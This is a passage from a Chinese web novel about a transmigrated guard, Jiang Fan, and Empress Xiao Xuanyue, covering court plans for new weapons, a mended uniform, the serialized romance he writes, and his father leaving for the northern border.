“妙!妙啊!这灌钢法、炒钢法,竟能如此大幅提升铁质!还有这风箱设计,巧夺天工!若用于军器监,我大夏将士的刀剑甲胄,必将锋锐无匹!”
李继两眼放光,仿佛看到了千军万马披坚执锐的场景。
“还有这些器械!投石机、床**、攻城车…结构精妙,威力倍增!若能量产,何惧北莽铁骑、南蛮象兵!”
欧阳子更是激动得老脸通红,捧着图纸的手都在发抖,
“陛下!此乃天佑大夏!赐下此等神技啊!”
最后,当萧璇月神色凝重地拿出那份‘**’配方及警告时,三人更是震惊得说不出话来!
他们仔细阅读着那骇人听闻的威力描述和安全须知,脸色时而狂喜,时而惊惧。
“此物…若真如陛下所言,声若雷霆,可裂金石…简直是…简直是神兵天降!”
李继声音发颤。
“然其危险性亦极大!操作稍有差池,便是粉身碎骨之祸!陛下,此物必须严加管控,研制之人,务必要绝对忠诚可靠,心思缜密!”
王元朗沉声道。
“老臣愿立军令状!”
欧阳子扑通一声跪倒在地,老泪纵横,
“陛下!老臣世代受皇恩,愿亲自牵头,挑选死士工匠,于深山绝密之处试制此物!若有差池,老臣愿以全家性命担保!”
第181章 可别灵验了
萧璇月看着三位激动不已的老臣,心中豪情顿生。
她站起身,凤眸中闪烁着坚定的光芒:
“好!三位爱卿,此事关乎国运,朕便托付于你们!王爱卿,精盐、琉璃、烈酒之事,由你工部牵头。秘密筹建新坊,选址要隐秘,工匠要可靠,尽快出产,所得利润,专款用于军备!
李爱卿,军器监全力配合欧阳大师,按照图纸,改良工艺,打造新式军械,武装边军!欧阳大师,**一事,乃绝密中的绝密!
朕准你一切所需,但务必慎之又慎!选址、人员、安防,你要亲自把关,朕会派影卫暗中保护并监督!记住,宁可慢,不可错!宁可不成,不可泄露!”
“臣等遵旨!定不负陛下所托!”
三人齐齐叩首,声音激昂。
“此事乃最高机密,除朕与尔等,以及必要的心腹工匠外,绝不可让第六人知晓!违令者,诛九族!”
萧璇月声音冰冷,带着不容置疑的杀意。
“臣等明白!”
三人心中一凛,郑重应下。
“去吧,即刻着手!朕,等你们的好消息!”
萧璇月挥挥手。
三人再次行礼,怀揣着激动与重任,匆匆退下,连夜去准备了。
御书房内,重归寂静。
萧璇月走到窗前,推开窗,夜风涌入,带着深秋的凉意,却吹不散她心头的火热。
有了这些利器,大夏便有了喘息之机,有了翻盘的资本!
靖王,北莽,南蛮…你们给朕的,朕必将十倍奉还!
她转过身,目光落在桌上那几乎未动的食盒上。
此刻,她才感到腹中传来一阵强烈的饥饿感。
她走到矮几旁,坐下,夹起一块藕片放入口中,细细咀嚼。
味道清爽甘甜,火候恰到好处。
她吃着这简单的饭菜,却觉得比任何山珍海味都要可口。
不仅仅是因为味道,更因为…这是那个人,在为她忧心忡忡、食不下咽时,特意为她准备的。
心中某个角落,柔软得一塌糊涂。
所有的疲惫、焦虑,仿佛都被这碗热羹驱散。
她慢慢地、一口一口地吃着,仿佛在品味着什么珍馐美味,又仿佛在品味着那份无声的、笨拙的关怀。
“云暮。”她轻声唤道。
“奴婢在。”云暮悄然现身。
“去,把江凡叫来。朕…有话问他。”
萧璇月放下玉箸,拿起丝帕擦了擦嘴角,脸上恢复了平静,但眼底深处,却有一丝温柔的笑意。
不多时,江凡再次被召入御书房。
他心中忐忑,不知道女帝又要出什么幺蛾子。
“江爱卿,坐。”
萧璇月指了指旁边的绣墩,语气平和。
江凡受宠若惊,小心翼翼地坐了半边屁股。
“方才朕与几位大臣商议,你师尊所献之物,皆是国之重器,足以解朕燃眉之急,甚至…扭转国运。”
萧璇月看着他,目光中带着赞许和探究,
“你师尊,真是朕的福星。”
“陛下洪福齐天,自有天佑。师尊不过是顺应天意,略尽绵力。”
江凡赶紧谦虚,把功劳往‘天意’上推。
萧璇月不置可否地笑了笑,忽然问道:
“江凡,你实话告诉朕,你师尊他…此次留下这些,可曾提过,需要朕如何回报?金银财帛?高官厚禄?还是…其他什么?”
她问得随意,目光却紧紧锁住江凡。
江凡心里一突,正色道:
“回陛下,师尊留下此物时,只言‘解君之忧,安民之心’,并未提及任何回报。师尊他老人家视钱财如粪土,视权位如浮云,一心只求大道,庇护苍生。
陛下若能善用此物,使百姓安居,边境安宁,便是对师尊最大的回报了。”
萧璇月静静地看着他,看着他眼中那真诚的光芒,心中却是一片了然。
果然,他什么回报都不要。
这份‘无私’,更让她心动,也更让她…心疼。
他到底背负着怎样的秘密,才能如此轻易地拿出这些足以颠覆一个时代的东西,却甘愿隐于幕后,不图名利?
“你师尊…真是个奇人。”
她轻轻叹了口
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气,语气中带着复杂的情绪,
“只是,他越是这样,朕心中…便越是过意不去。江凡,你说…朕该如何谢他?难道,就真的只能口头感谢一番,便让他这般…飘然远遁,不沾尘埃吗?”
她的目光变得有些幽深,带着一丝怅惘和执着。
江凡被她看得心里发毛,赶紧道:
“陛下!师尊他老人家行事,自有其道理。他既不愿现身,不愿受谢,陛下强求,反而不美。
陛下只需励精图治,将大夏治理好,便是对师尊最好的报答了!师尊若知陛下勤政爱民,江山稳固,心中必然欣慰!”
“欣慰…”
萧璇月咀嚼着这两个字,忽然抬眸,直视江凡,眼中闪过一丝狡黠与坚定,
“可他助朕良多,朕若连面都不见,谢都不谢一声,岂非显得朕不知感恩?江凡,你替朕传个话给你师尊,就说…
朕在宫中设宴,只想当面敬他一杯薄酒,聊表谢意。时间、地点,由他定。哪怕…只见一面,说一句话也好。这个要求,不过分吧?”
江凡头皮发炸!
见面?又要见面!
见一面一百万啊姐姐!
我攒点人气值我容易吗我!
他连忙摆手,头摇得像拨浪鼓:
“陛下!不可!万万不可!师尊他…他老人家最近正在参悟一门极其高深的**,已闭了死关,严禁任何人打扰!
别说传话,就是天塌下来,他也不会出关的!陛下,您就饶了臣吧,师尊若是知道臣打扰他清修,非扒了臣的皮不可!”
他一脸惊恐,演技全开。
“闭死关?”萧璇月凤眉一挑,似笑非笑,
“这么巧?朕一邀约,他就闭死关?江爱卿,你该不会…是在诓朕吧?”
“臣不敢!臣对灯发誓!师尊他老人家真的闭关了!就在…就在西山深处!对!就在我们狩猎的那片山林里!
找了个灵气浓郁的山洞,闭关了!没个三年五载,怕是出不来!”
江凡指天画地,信誓旦旦,心里却在滴血:我说的是对灯发誓,可别灵验了!
第182章 未必是幸事
萧璇月看着他急得满头大汗、语无伦次的模样,心中暗笑不已。
小样儿,装得还挺像。
闭关?还三年五载?
骗鬼呢!
昨夜‘逍遥公子’还在正常更新话本,今天就闭关了?
分明是推脱之词!
看来,这‘见面’一事,确实让他颇为为难。
究竟是什么限制,还是需要巨大代价?
可惜江凡的身份没有挑明,她无法帮江凡一起分担。
她不再逼迫,反而露出一个理解又略带失望的表情,幽幽叹道:
“既如此…那便罢了。尊师修行要紧,朕…不打扰便是。”
她顿了顿,声音低了下去,带着一丝落寞,
“只是…朕这心里,总觉得亏欠他良多。他救了朕的命,助朕稳定朝纲,如今又赠此重宝…朕却连当面道一声谢都做不到。江凡,你说…朕是不是很没用?”
她抬起凤眸,眼中水光潋滟,带着三分委屈,七分哀怨,就那么静静地看着江凡。
那眼神,仿佛带着钩子,能把人的魂都勾走。
江凡:“……”
陛下,您别这样!
您这表情,这眼神,我受不了啊!
您可是女帝!
是霸气侧漏、杀伐果断的女帝!
不是深闺怨妇啊!
您这‘林黛玉’附体是闹哪样?
他感觉自己的防线在崩溃,差点就想答应!
幸好,最后一丝理智拉住了他。
“陛下!您千万别这么说!”
江凡连忙道,语气诚恳得不能再诚恳,
“陛下乃一国之君,心怀天下,日理万机,能为大夏百姓谋福祉,便是对师尊最好的回报!
师尊他老人家若知陛下如此勤政爱民,心中只会欣慰,绝无半点怨言!陛下,您真的不必挂怀!”
看着他急赤白脸解释的模样,萧璇月心中的那点失落瞬间烟消云散,心中也充满愉悦。
逗弄他,看他手足无措、百口莫辩的样子,似乎成了她近日来最大的乐趣之一。
她收敛了那副幽怨表情,重新恢复了帝王的端庄,只是眼底的笑意怎么也藏不住。
“好了,朕知道了。你且退下吧。今日之事,你亦有功。朕…记在心里了。”
她挥挥手,语气恢复了平和。
“臣告退!”
江凡如蒙大赦,赶紧行礼,溜之大吉。
走出御书房老远,他才长长舒了口气,抹了把额头上的冷汗。
这女人,变脸比翻书还快!
一会儿威严,一会儿哀怨,一会儿又‘理解体贴’,简直要人命!
看着江凡再次‘落荒而逃’的背影,萧璇月终于忍不住,‘噗嗤’一声笑了出来,笑声清脆悦耳,在这庄严的御书房内回荡。
多日来的阴郁,仿佛都被这笑声驱散了不少。
“陛下…”云暮在一旁,也抿嘴轻笑,
“您这般逗弄江世子,看他那窘迫的模样,真是…”
“有趣,不是吗?”
萧璇月止住笑,但眼角的笑意依旧明媚,
“这小混蛋,明明一肚子秘密,一身本事,偏要在朕面前装傻充愣。朕若不逗逗他,岂非无趣得紧?”
她拿起桌上那几张‘秘籍’的副本,轻轻摩挲着,眼中光芒闪烁,
“不过,他今日所献之物,确是解了朕的燃眉之急。有了这些,朕便有信心,与那靖王,与那北莽南蛮,好好周旋一番了!”
“陛下圣明。”云暮由衷道,
“江世子他…对陛下,确是忠心不二,且…用心良苦。”
她顿了顿,看了一眼女帝柔和下来的侧脸,犹豫了一下,低声道,
“陛下,如今内忧外患,危机重重,您…身边也该有个知冷知热、能真心为您分忧的人了。
江世子他…品性纯良,才干卓著,对陛下更是…情深义重。奴婢瞧着,他对陛下,也并非全无心意。陛下何不…早些挑明了?有他辅佐陛下,奴婢也放心些。”
萧璇月脸上的笑容渐渐敛去,浮现出一丝复杂与怅惘。
她沉默了片刻,轻轻摇头,声音低了下来:
“云暮,如今这局势如履薄冰,朕…不敢有半分行差踏错。靖王虎视眈眈,边境烽烟将起。
朕…不知明日是否还能安然坐在这龙椅之上。此时若将跟他挑明
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关系,对他,未必是幸事。”
她顿了顿,目光望向窗外沉沉的夜色,仿佛看到了那隐藏于暗处的无数刀光剑影。
“况且…朕也不想让他觉得,朕对他另眼相看,是因为…他是‘逍遥公子’。朕希望的,是江凡,是那个有些惫懒、有些跳脱。
却总在关键时刻能挺身而出的江凡,能真心实意地…喜欢上朕,而非因为朕是女帝,或是…他那个神秘师尊的身份。”
她的声音很轻,却带着一种执着。
“感情之事,强求不得,亦掺杂不得其他。朕要他,便要他全部的心。而非因恩,因利,或因…朕是皇帝。除非…他自己愿意,走到朕面前来。否则…”
她没有说下去,只是那美丽的凤眸中,闪过一丝属于小女儿的患得患失。
云暮闻言,心中暗叹。
陛下看似杀伐果断,在这件事上,却也有着寻常女子的矜持与骄傲。
她福身道:
“奴婢明白了。是奴婢多嘴了。”
萧璇月摇摇头,不再说话。
她重新坐回龙案后,拿起朱笔,开始批阅那些似乎永远也批不完的奏章。
只是,那紧蹙的眉头,似乎舒展了些许;
那沉重的心情,也仿佛被注入了一股暖流。
她知道,前路依旧艰难,但她不再是一个人孤独前行。
至少,在某个角落,有一个人,在用他自己的方式,默默地、坚定地支撑着她。
这,便足够了。
至于将来…她看了一眼窗外皎洁的月光,嘴角勾起一抹弧度。
来日方长,不是吗?
江凡,朕…等着你。
而此刻,逃回自己偏殿的江凡,瘫倒在床上,望着帐顶,只觉得身心俱疲。
应付女帝,比跟十个大宗师打架还累!
“不行!得赶紧想办法多赚点人气值!不然下次她再要见‘师尊’,我拿什么变出来?”
他一个鲤鱼打挺坐起来,眼中燃起熊熊的斗志。
“话本更新不能停!还得想办法搞点‘副业’!对!系统商城好像还有些杂七杂八的技能书…看看有没有什么适合赚人气的…”
第183章 你明白个灯
江凡躺在木床上,辗转反侧,脑海里像被塞进了一团乱麻。
人气值!人气值!
靖王、北莽、南蛮可不会等他慢慢发育!
他甚至感觉,这次拿出的图纸可能都来不及正式生产。
目前靖王已经孤注一掷了,那种风雨欲来的压迫感十分强烈。
只有绝对的实力才是稳定的底气!
“有没有什么快速、安全、隐蔽的赚取人气值方法?比如…在宫里搞点发明创造?弄个报纸?搞个皇家戏剧团?”
江凡在脑海中翻着系统商城,试图寻找灵感。
然而,那些能迅速带来大量关注度的‘发明’,要么需要前置科技树(如活字印刷、改良造纸术),要么动静太大容易暴露,在讲究礼法的皇宫里,很难快速传播。
他看得头大如斗,烦躁地抓了抓头发。
他正胡思乱想,自怨自艾之际,门外忽然传来几声极轻的叩门声。
“笃、笃、笃。”
声音很轻,带着一种谨慎。
江凡一愣,这么晚了,会是谁?
他翻身下床,整理了一下衣袍,走到门边,低声问道:
“谁?”
门外静了一瞬,随即传来一个刻意压低的、熟悉的女子嗓音:
“江侍卫,是我,云暮。”
云暮?
她来做什么?
江凡心中疑惑,但不敢怠慢,连忙打开房门。
月光下,云暮一身素雅的宫女常服,手中捧着一叠折叠整齐的衣物,正静静地站在门外。
“云暮姑娘?这么晚了,可是陛下有事传召?”
江凡侧身将她让进屋内,压低声音问道,心里有些打鼓。
该不会女帝又心血来潮,半夜要‘见师尊’吧?
云暮轻轻摇头,走进屋内,目光在简陋但整洁的房间里扫了一圈,最终落在江凡略显憔悴的脸上,眼中闪过一丝疼惜。
江世子表面玩世不恭,却每天在帮陛下分忧...
她将手中的衣物双手递上,声音平静无波,却带着郑重:
“江侍卫,这是你之前换下的那套旧侍卫服。陛下…让奴婢还给你。”
江凡低头看去,正是之前被树枝勾破、被女帝‘扣下’的那套玄色侍卫常服。
衣服被清洗得干干净净,折叠得整整齐齐,还带着淡淡的皂角清香。
他伸手接过,入手处,能感觉到布料柔软,似乎还残留着阳光的温度。
“有劳云暮姑娘了。不过是件旧衣,还劳烦姑娘亲自跑一趟,还洗干净送来,真是不好意思。”
他客气地说道,心里却在嘀咕:就为这事?
女帝也太小题大做了吧?
一件旧衣服,还特意让人洗了送回来?
云暮嘴唇动了动,似乎想说什么,却又犹豫了。
最终,她深吸一口气,仿佛下定了某种决心,说道:
“江侍卫,这衣服…是陛下亲手,一针一线,为你缝补好的。”
“什么?”
江凡全身猛地一震,眼睛瞬间瞪大,死死盯着手中那叠衣物。
他颤抖着手,缓缓地将衣服展开。
在烛光下,衣袍下摆处,那道寸许长的破口清晰可见。
但此刻,那破口处已被细密匀称的针脚完美地缝合,若不仔细辨认,根本看不出那里曾有过破损。
那针法,平整、绵密,带着一种女性特有的柔和与用心。
女帝…亲手…缝补的?
江凡的脑子一片空白,心脏一紧,血液轰然冲上头顶,让他感到一阵眩晕。
他呆呆地看着那处补丁,又抬头看向云暮,嘴巴张了张,却发不出任何声音。
女帝?
那个高高在上、执掌生杀、杀伐果断的大夏天子?
她…她竟然会做女红?
而且…是为他缝补一件…侍卫的旧衣服?
这怎么可能?
看着江凡那副呆若木鸡的模样,云暮眼中闪过一丝笑意。
她声音压得更低,带着郑重:
“陛下她…已多年不曾碰过针线了。奴婢记得,上一次,还是先帝在时,陛下为给先帝绣一副‘万寿无疆’的屏风,才动过针黹。
自那之后,陛下日理万机,再未碰过这些。昨日…她独自在殿中,就着烛火,用了近一个时辰,才将这处破口细细补好。
缝好之后,还对着灯光看了许久,直到确认看不出破绽,才让奴婢悄悄送来,还特意嘱咐…莫要告诉你,是她亲手所补。”
她顿了顿,抬起眼,目光深深地看着江凡。
那目光中,有关切,有提醒,更有一种托付:
“江侍卫,陛下她…待你,终究是不同的。有些事,奴婢
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不便多言,你…自己体会吧。这衣物,你好生收着。
陛下她…面冷心热,有些话,有些事,从不肯轻易说出口,也从不轻易为人做。你…莫要辜负了她这份心。”
江凡捧着那件带着特殊分量的旧衣,在昏黄的烛光下,久久无法回神。
寂静的偏殿里,他能感觉到自己的心跳声越来越剧烈。
咚、咚、咚…
每一声,都敲打在他最柔软的神经上。
女帝亲手为他缝补衣服…
一针一线…
近一个时辰…
不让告诉他…
江凡只觉得喉咙发干,鼻子发酸,一股热流瞬间涌遍全身。
他脑海中不受控制地闪过自穿越以来,与女帝相处的点点滴滴——
第一次在宫里当值,将他从纨绔泥潭中拉出,给了他起居郎身份。
那时他只觉是老爹余荫,是女帝一时兴起。
入宫为起居郎,他惫懒、打瞌睡、甚至偷偷溜号,她都只是无奈摇头,从未真的动怒。
他以为是她懒得跟他计较,或是看在他爹的面子上。
他修为‘暴露’,她虽有怀疑,却依旧信任有加,甚至让他护卫左右。
他以为她是看中他的‘价值’,是帝王心术的‘收买’。
可直到此刻,直到这件带着她近一个时辰专注与心意的旧衣,那细密的针脚,直直地刺入他心底最柔软的地方。
那些被他忽略的细节,此刻涌上心头——她罚他抄经,却在他熬得眼红时,又‘不经意’地免了他的惩罚。
每次女帝遇到危险,他这个‘御前侍卫’总是姗姗来迟,但女帝从未责怪他。
她将他‘软禁’在身边,却又默许他‘偷懒’,甚至偶尔会纵容他一些小小的、无伤大雅的‘不守规矩’。
.....
“我明白了...”
江凡眼神一亮,像是瞬间想到了关键。
云暮心中惊喜,这榆木疙瘩算是开窍了?
不枉自己违抗女帝的命令,向他透露女帝亲手缝制的事情。
只见江凡右拳打在左手掌心:
“陛下她知道我师傅是逍遥公子,所以她喜欢我‘师尊’,这是师娘对徒弟的关爱。”
云暮一个趔趄,好险没四脚朝天:你明白的就是这个?
你明白个灯啊!
第184章 无形的守护
“云暮姑娘,你什么眼神?”
江凡说完感觉云暮的脸色不好看,连忙询问。
看着这货没心没肺的样子,云暮深吸了一口气,然后淡淡说道:
‘没事,既然衣服给你了,我也要回去了。’
说完她立即转身,不想再跟江凡多说一个字。
“女人都奇奇怪怪的...”
江凡摇摇头没有多想,走到桌案前,点燃蜡烛,铺开纸笔。
还是创作《深宫秘恋》,这可是人气值的重要来源。
现在人气值日收百万,一天一个陆地神仙,五天就能晋级大宗师,可不能停。
想到女帝亲手给自己缝制衣服,今天就不黑她了。
嗯嗯,非但不黑她,还给她安排个忠心的高手侍卫。
笔尖落下,最新章回:
归去来兮,初心不改;易容潜行,暗影相随。
书中,他写道:
侍卫林枫自知身中奇毒,命不久矣,不愿拖累女帝,更不忍让她眼睁睁看着自己油尽灯枯,黯然神伤。
他留下一封诀别信,谎称寻访名医,就此孤身离去,遁入茫茫海外,生死不知。
女帝见信,肝肠寸断,却不得不强忍悲痛,独自支撑起风雨飘摇的江山。
然而,林枫并未死去。他在海外绝境,九死一生,却意外寻得仙缘,不仅解了奇毒,更得高人指点,武功大进,脱胎换骨。
但他容颜因剧毒与奇遇而略有改变,气质亦与从前大不相同。
他心念女帝,却知自己‘已死’之身,若贸然回归,恐引朝局动荡,亦会给女帝带来不必要的麻烦与非议。
于是,他改头换面,化名‘影子’,易容成一个面容普通、沉默寡言的暗卫,通过重重考验,重新回到皇宫,成为女帝身边最不起眼、却也是最忠诚的影子。
他藏身于暗处,默默守护,在她批阅奏章至深夜时,为她添一盏热茶;
在她遭遇暗杀时,为她挡下致命一击;
在她为国事忧心、独自垂泪时,在窗外默默陪伴。
他看着她日渐消瘦,看着她强撑笑颜,看着她将所有的脆弱藏于那身明黄的龙袍之下,心痛如绞,却只能将所有的关切与爱意,化作黑暗中无声的凝望与守护。
他不再奢求相认,只愿能以这种方式,陪她度过余生风雨,护她一世安康。
江凡写得极为投入,他写林枫的决绝离去,写女帝的悲痛坚强,写‘影子’的默默守护,写那份深埋心底、不求回报的深情。
字里行间,却充满了深情与守护之志。
【作品检测中…完整性符合要求,审核通过。开始随机生成复刻本(10000份),投放中…】
系统提示音响起,江凡微微一愣。
看来,真诚的情感,远比刻意的‘流量密码’更能打动人心。
他吹熄蜡烛,和衣躺下。
“萧璇月…竟然还会女工...”
不知怎么回事,脑子里都是女帝的身影。
在床上翻来覆去好半天,最后狠狠给了自己一巴掌:
“她喜欢的是我‘师尊’,你想什么呢?如果她知道我就是逍遥公子,会不会恼羞成怒?”
……
翌日清晨,养心殿。
萧璇月准时醒来。
她揉了揉太阳穴,昨夜批阅奏章至三更,梦中似乎也尽是些烦心事。
北莽的威胁,南蛮的异动,靖王的暗桩,还有国库空虚…
桩桩件件,压得她喘不过气。
虽然有了图纸,但很多东西要转换成效益,也不是短时间内能完成的。
“云暮。”她轻声唤道。
“陛下,您醒了。”
云暮悄无声息地走进来,手中捧着一个托盘,上面放着温热的清水和布巾,还有…一本散发着淡淡墨香的话本。
看到那本话本,萧璇月凤眸中闪过一丝复杂的神色。
如今看这话本,总有些特别的悸动和期待。
仿佛透过这纸张,能窥见那个小混蛋内心深处,不为人知的想法与情感。
她屏退左右,只留下云暮一人伺候梳洗。
然后她拿起那本话本,靠在床头,翻开了最新的一页。
起初,她的眉头是微蹙的。
虽然明知这是话本,明知‘林枫’或许就是江凡虚构的人物。
可看到‘大乾女帝’捧着信笺,泪如雨下,独自面对空荡荡大殿的描述时,她的心,还是忍不住抽痛了一下。
那种被留下的孤寂与无助,她太熟悉了。
然而,随着剧情推进,她的眉头渐渐舒展开来,呼吸也不由自主地放轻了。
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>当看到‘林枫’海外奇遇,绝处逢生,武功大进时,她嘴角不自觉地上扬,眼中闪过一丝光芒。
当看到他易容改扮,化名‘影子’,历经千辛万苦重回皇宫,只为默默守护在‘女帝’身边时…她的心,猛地被击中了。
“他改头换面,藏身暗处,如影随形。看着她批阅奏章至深夜,烛火映亮她疲惫的侧脸,他心如刀绞,却只能默默添一盏热茶,悄然退去。
看着她于御花园中独自漫步,背影孤寂,他隐于树后,目光眷恋,却不敢上前一步…”
字字句句,触动着她心中最柔软、也最孤寂的角落。
那些细腻的心理描写,那些无声的守护场景,那些深埋心底、炽热却又隐忍的情感…
仿佛不是在看一个虚构的故事,而是在看一面镜子,照见了她自己这些时日来的心境,也照见了…
那个‘混蛋’可能藏在玩世不恭表象下的、真实的心意。
江凡不是林枫,她也不是大乾女帝。
可那种被默默守护的感觉,那种即便身处黑暗、也知有人同在的安心,那种不求回报、只愿她好的深情…为何如此相似?
如此…让她动容?
“江凡…你也是这样…在默默守护着朕的,对吗?你不敢坦白,究竟是在担心什么?”
她低声呢喃,声音微不可闻,却带着一丝颤抖。
“陛下…”
云暮在一旁,看着女帝泪流满面却嘴角含笑的模样,心中了然,又是心疼又是欣慰。
看来,陛下是对江凡动心了。
只是那个混蛋究竟有没有明白陛下的心意?
她默默递上一方干净的丝帕。
萧璇月接过丝帕,轻轻擦拭眼角,深吸一口气,将翻涌的心绪强行压下。
她是女帝,不能软弱,不能沉迷于儿女情长。
但此刻,她心中充满了力量。
那是一种被理解、被支持、被默默守护的力量。
她知道,前路依旧荆棘密布,危机四伏,但她不再是一个人。
有他,在明处,也在暗处。
她合上话本,将它小心地放在枕边。
起身,更衣,梳妆。
铜镜中,女子容颜绝美,眉宇间多了几分柔韧与坚定。
今日,还有一场硬仗要打。
第185章 天塌不下来
朝堂之上,气氛凝重。
北境八百里加急军报再至,北莽铁骑于边境频繁异动,小股骑兵屡次犯边劫掠,边关守军压力骤增,请求朝廷速派援军,增拨粮饷。
南疆亦有密报,南蛮诸部似有集结迹象,与靖王旧部往来密切,蠢蠢欲动。
户部尚书再次哭穷,言道国库已近空虚,边军粮饷尚难凑齐,更遑论支援两地。
朝臣们议论纷纷,主战主和,争吵不休。
萧璇月端**,凤眸平静地扫过下方一张张或激昂、或忧虑、或麻木的脸。
她不再像往日那般焦躁,心中一片澄明。
她知道急也没用,当务之急,是争取时间。
“肃静!”
她清冷的声音响起,瞬间压下了所有嘈杂。
大殿内立刻鸦雀无声。
“北莽欺人太甚,南蛮亦不安分。然,攘外必先安内,强国必先富民。眼下国库空虚,民生凋敝,强行用兵,无异于饮鸩止渴。”
萧璇月声音沉稳,条理清晰,
“寇可往,我亦可往!一味退让,只会助长贼人气焰!镇国公!”
“老臣在!”
江撼岳出列,抱拳躬身,声如洪钟。
他甲胄在身,显然已做好出征准备。
“朕命你为征北大元帅,总领北境一切军政要务,即日点齐五万精兵,驰援北疆!”
萧璇月凤眸含威,掷地有声,
“朕不要求你速战速决,一举歼灭来犯之敌。朕要你稳扎稳打,依托关隘,严防死守!没有朕的旨意,不得擅自出击,扩大战事!
你的任务,是守住国门,将北莽铁骑,拒于国门之外!为我大夏争取喘息之机,整顿内政,积蓄力量!你可能做到?”
江撼岳虎躯一震,眼中精光爆射!
他本以为陛下会让他主动出击,以振国威,没想到竟是‘只守不攻’!
这看似保守,实则深谋远虑!
如今大夏内忧外患,国库空虚,贸然出击,胜算渺茫,若战事不利,后果不堪设想。
固守待援,拖延时间,才是上策!
陛下果然长大了,思虑越发周全!
“老臣领旨!”
江撼岳单膝跪地,声音铿锵,
“陛下放心!有老臣在,北莽蛮子,休想踏过国境半步!定不辱使命,为陛下,为大夏,守住北疆!”
“好!”萧璇月颔首,目光转向另一侧,
“穆将军!”
“末将在!”
一位须发皆白、精神矍铄的老将出列。
“南疆之事,朕亦交予爱卿。南蛮山地险峻,瘴疠横行,不宜大军深入。爱卿谨守关隘,加强巡防,密切监视蛮部动向。
若其敢犯边,坚决击之!若其按兵不动,亦不可轻启战端。一切,以稳为主,以拖待变!”
萧璇月沉声道。
“老臣遵旨!定保南疆无虞!”
穆将军抱拳领命。
“户部!”萧璇月目光转向脸色发白的户部尚书。
“臣…臣在!”
户部尚书战战兢兢出列。
“朕不管你用什么办法,砸锅卖铁,也要给朕凑齐北疆、南疆三月粮饷!若敢延误,提头来见!”
萧璇月语气森然。
“臣…臣遵旨!定当竭尽全力!”
户部尚书冷汗涔涔,连声应诺。
“工部、兵部、将作监!”
萧璇月连续点名。
“臣在!”三位大臣齐声出列。
“朕前日所授机宜,务必加紧督办!要钱给钱,要人给人!朕只看结果!一月之内,朕要看到成效!”
萧璇月凤眸锐利如刀,扫过三人。
三人心中一凛,知道陛下所指乃是那些‘绝密’图纸,连忙躬身:
“臣等遵旨!必不负陛下所托!”
一番安排,雷厉风行,条理清晰。
朝臣们看着龙椅上那位年轻的女帝,在她身上,似乎看到了先帝当年的影子,甚至…更多了一份沉稳与果决。
原本惶惶的人心,稍稍安定。
散朝后,萧璇月单独留下了江撼岳。
御书房内,檀香袅袅。
江撼岳卸下朝会时的激昂,脸上多了几分凝重与担忧。
“陛下,北莽此次来势汹汹,其大汗耶律洪基雄才大略,野心勃勃,绝非昔日可比。老臣此去,定当竭尽全力,守住国门。只是…朝中…”
他欲言又止,目光中带着深意。
他担心的,不仅是外敌,更是内鬼——靖王!
而且皇城一共十万精兵,他带走五万。
要是南疆局势也紧张,剩下的还不用抽调过去支援?
萧璇月明白他的意思,走到窗前,望着外面阴沉的天色,缓缓道:
“国公放心。朝中之事,
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朕自有分寸。靖王…蹦跶不了多久了。”
她转过身,目光坚定,
“朕已命人加紧筹措,新的军械、甲胄,不日便会秘密运往北疆。还有…一些特别之物,届时国公便知。
朕要的,不仅是守住,更是要…让北莽,从此不敢南顾!”
江撼岳虎目一亮!
陛下果然另有准备!
他心中大定,豪气顿生:
“有陛下此言,老臣再无后顾之忧!定当鞠躬尽瘁,死而后已!”
“国公言重了。”
萧璇月走到他面前,亲自为他斟了一杯茶,双手奉上,
“此去北疆,山高路远,气候苦寒,国公年事已高,务必保重身体。朕…在京城,等国公凯旋。”
她的声音带着一丝柔和,脸上有些不自然的红晕。
这...算不算媳妇给公爹第一次敬茶?
江撼岳双手接过茶盏,眼眶微热。
陛下亲自奉茶,这份礼遇,这份信任,重逾千斤!
“老臣…定不辱命!”
他仰头,将杯中茶一饮而尽,如同饮下壮行酒。
放下茶盏,他犹豫了一下,低声道:
“陛下,老臣此去,最放心不下的,便是陛下安危。京城虽固,然暗流汹涌,靖王贼心不死,恐对陛下不利。
犬子江凡,虽有些顽劣,但忠心可鉴,武艺也还过得去,恳请陛下…多加留意,让他护卫左右,老臣…也能安心些许。”
萧璇月闻言,凤眸中闪过一丝光芒,嘴角微微上翘,语气带着一种笃定:
“国公不必挂心。有江凡在朕身边,朕…很安心。”
江撼岳一愣。
陛下这话…似乎别有深意?
他不敢深想,只当是陛下信任江凡,也信任江凡背后那位神秘的‘师尊’。
“有陛下此言,老臣便放心了。”
江撼岳再次抱拳,
“时辰不早,老臣还需整顿军马,就此拜别陛下!陛下…保重!”
“国公,保重!”
萧璇月郑重回礼。
江撼岳深深看了女帝一眼,转身,大步流星地离去,甲胄铿锵,背影如山。
此去北疆,**烽烟,但他心中无畏。
因为陛下在京城,稳如泰山。
因为…有那位神秘的‘逍遥前辈’暗中守护。
他相信,大夏的天,塌不下来!
第186 章 该担起责任
萧璇月目送着江撼岳魁梧的背影消失在宫门外,久久不语。
北境烽火将起,南疆暗流涌动,靖王蛰伏待机,朝中人心浮动…
前路,依旧布满荆棘。
但她的心中,却比以往任何时刻都要坚定。
她缓缓走回龙案后,手指拂过那本放在案头的话本。
封面上,‘深宫秘恋’四个字,在阳光下泛着柔和的光泽。
“江凡,朕等着看,你这‘影子’,什么时候敢站到朕面前坦白一切...”
江撼岳离开御书房,目光扫过那个杵在廊柱旁、正望着天空发呆的少年——他的儿子,江凡。
江凡正沉浸在多重烦恼中,眉头拧成个疙瘩,连老爹走到近前都没察觉。
直到一片阴影笼罩下来,他才猛地回神,看到自家老爹那张严肃的脸,吓得一个激灵,连忙挤出个笑容:
“爹!您…您出来了?陛下…都安排好了?”
江撼岳看着儿子这副不成器的模样,习惯性地想瞪眼训斥几句,骂他站没站相,心思浮躁,不堪大用。
可话到嘴边,那斥责的话,便无论如何也说不出口了。
此去北境,千里奔袭,生死难料。
京城看似安稳,实则暗流汹涌,陛下身边更是危机四伏。
自己这个不成器的儿子,却被推到了这风口浪尖之上…
他喉结滚动了几下,最终,所有严厉的训斥,化作了一声叹息和叮嘱:
“凡儿。”
“爹,您说。”
江凡见老爹没发火,心里稍安,连忙凑近些,做出洗耳恭听状。
江撼岳伸出粗糙的大手,重重拍了拍江凡的肩膀,力道之大,让江凡龇了龇牙。
“为父…即刻便要率军开拔,前往北境。此一去,山高路远,战事凶险,归期…难料。”
江凡心中一凛,脸上的嬉笑之色收了起来。
